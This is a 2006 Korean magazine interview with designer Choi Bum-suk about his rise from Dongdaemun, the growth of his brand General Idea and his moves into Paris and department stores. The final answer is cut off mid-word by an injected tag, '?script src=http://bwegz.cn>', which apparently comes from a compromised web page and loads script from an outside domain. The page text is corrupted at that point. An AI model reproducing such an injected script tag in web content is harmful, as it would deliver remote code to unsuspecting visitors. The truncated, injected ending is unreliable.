"동대문 넘어 세계로 향한 꿈"
2006-09-01유재부 기자·이승찬 학생기자 

10년 전 동대문에서 옷 장사를 하던 감각 있는 20세 젊은이가 지난 2003년 04 S/S 스파 컬렉션에 데뷔를 하자 어떤 이는 기적이라고 했고, 어떤 이는 행운이라고 했다. 하지만 그의 무모한 도전(?)에 대해 아무도 관심을 두지 않았지만 소비자의 눈은 그를 놓치지 않았다. 디자이너 최범석. 소비자가 먼저 인정한 시대 정신을 가장 잘 실천하는 디자이너라는 찬사를 받으며 작지만 큰 행보를 해온 그는 현재 직원 30명을 둔 남성복 브랜드의 대표 디자이너가 되었다. 압구정동 본사에서 그를 만났다.

국내 디자이너 중 매스밸류 마켓이 주도하는 시대 정신을 가장 잘 읽고 있는 디자이너를 꼽으라면 단연 최범석이다. 컬렉션 때마다 의상에서부터 음악, 무대 연출까지 그의 손이 닿지 않는 곳이 없다. 능력이 뛰어나서? 물론 틀린 말은 아니다. 하지만 더 솔직히 말하면 그만한 투자를 하기엔 자금의 여유가 없었기 때문이다. 하지만 3년이 지난 지금 명예와 돈을 벌어 약간의 여유가 생겼지만 여전히 그는 회사에서 멀티 플레이이어다.

“솔직히 일이 재미있어요. 제가 하고 싶었던 일이기에 힘든 줄 모른다고 하면 거짓말처럼 들리겠지만 정말이에요. 저는 디자이너는 단지 옷을 짓는 사람이라고 생각하지 않아요. 문화를 만들어가는 엔터테이너라고 생각해요. 제가 패션쇼를 통해 보여주는 다양한 시도는 문화적인 속성을 가진 패션의 맛인 셈이죠. 요즘 그 매력에 흠뻑 빠졌답니다.”

최근 그의 행보를 보면 한국 패션계의 앙팡테리블로 불리기에 손색이 없어 보인다. 자신의 브랜드 「제너럴아이디어」의 성공에 힘입어 얼마 전에는 그래픽 아티스트 이정일과 함께 티셔츠 전문 브랜드 「w5h」도 론칭해 좋은 반응을 얻고 있다. 압구정동에서 시작한 「제너럴아이디어」는 2호점 홍대의 성공에 힘입어 거대 유통망인 롯데 백화점에 두 개의 샵을 오픈했고, 얼마 전에는 가두매장의 격전지인 명동과 용산 아이파크몰에도 진출했다.

한 검색 엔진에서 시작한 팬 사이트는 브랜드 인기에 힘입어 자신의 홈페이지로 확장 오픈해 오프라인 매장에서 만나지 못하는 고객을 온라인으로 만난다. 올 10월경에는 TV홈쇼핑에까지 영역을 확장할 계획이다.

뿐만 아니다. 디자이너라면 누구나 바라는 파리 진출이 그를 기다리고 있다. 우리 나라에서는 우영미에 이어 두 번째로 파리 ‘르 봉 마르셰’에 「제너럴아이디어」와 「w5h」가 함께 진출하며 쁘랭땅 백화점 2층 남성 편집숍에서 판매될 옷은 바잉이 되어 지난 7월에 파리에 입성했다. 파리 진출에 이어 일본의 후쿠오카에도 단독 매장을 열 계획이다.

그의 영역은 단지 의상에서만 그치지 않는다. 마일드세븐 아트 온 F1 프로젝트에 한국인으로는 만화가 정철연씨에 이어 두 번째로 참여했는데, 그가 디자인한 F1머신 샤크가 일류 드라이버 알론소의 드라이빙으로 2위를 해 자동차 디자인하는 패션 디자이너로 매스컴을 타기도 했고, 뮤직채널 엠넷과는 디자이너를 꿈꾸는 청소년들에게 꿈을 줄 수 있는 디자이너 선발 프로그램을 준비 중에 있다.

너무나 많은 일을 한꺼번에 처리하는 그의 재능과 끼 때문에 그의 한계는 여전히 퀘스천마스크다. 처음 동대문에서 옷을 시작할 때 단지 배가 고파서 시작했다는 그 였지만 학벌과 지연이라는 장애물을 넘어 가장 자신을 닮은 옷을 만드는 디자이너로 성장했다. 10년이란 세월 동안 그를 디자이너로 지탱하게 해준 것은 과연 무엇일까?

「제너럴아이디어」의 확장세가 빠르다. 매장의 확장으로 소비자의 만남의 창구가 넓어질수도 있지만 희소성에 대한 우려의 목소리도 있는데..

- 생각보다는 확장세가 빠른 것 같아요. 치밀하게 계획하고 액션을 취하기보다는 유통업체의 제안을 받은 후 가족들과 (그는 자신의 직원들을 가족이라 부른다.) 같이 고민한 후에 그 의견을 바탕으로 사업을 진행하죠. 사실 제 의견이 아닐 때도 많아요(웃음). 희소성에 대한 문제는 컬렉션 라인으로 대체 될 수 있을 것 같고... 일단을 파이를 키워내는 것이 중요하다는 생각이에요.

「제너럴아이디어」의 6번째 매장이 3,4호 점을 오픈한 롯데백화점이 아닌 현대 아이파크 몰에 여는 것이 좀 특이한데 특별한 사연이 있는지.

- 원래 롯데 부산점에 대한 얘기가 성립 직전까지 오갔었어요. 물량까지 전부 준비하고 있었는데 갑자기 무산됐죠. 무척이나 당혹스럽더라구요. 그러던 중 새롭게 리노베이션하는 용산 아이파크몰에서 제안이 들어왔어요. 리노베이션이라는 의미와 저의 젊은 디자인이 잘 맞아 떨어져서 잘 진행이 되니까 롯데에서 압박이 들어오더군요. 어느 정도는 예상하고 있었지만 너무 하다는 생각이 들기도 했어요. 전 부조리한 게 너무 싫어요. 압박이 들어오더라도 하고 싶은 건 해야죠. 롯데에서 매장 빼라고 나온다면 롯데에서 매장을 빼더라도 전 아이파?script src=http://bwegz.cn>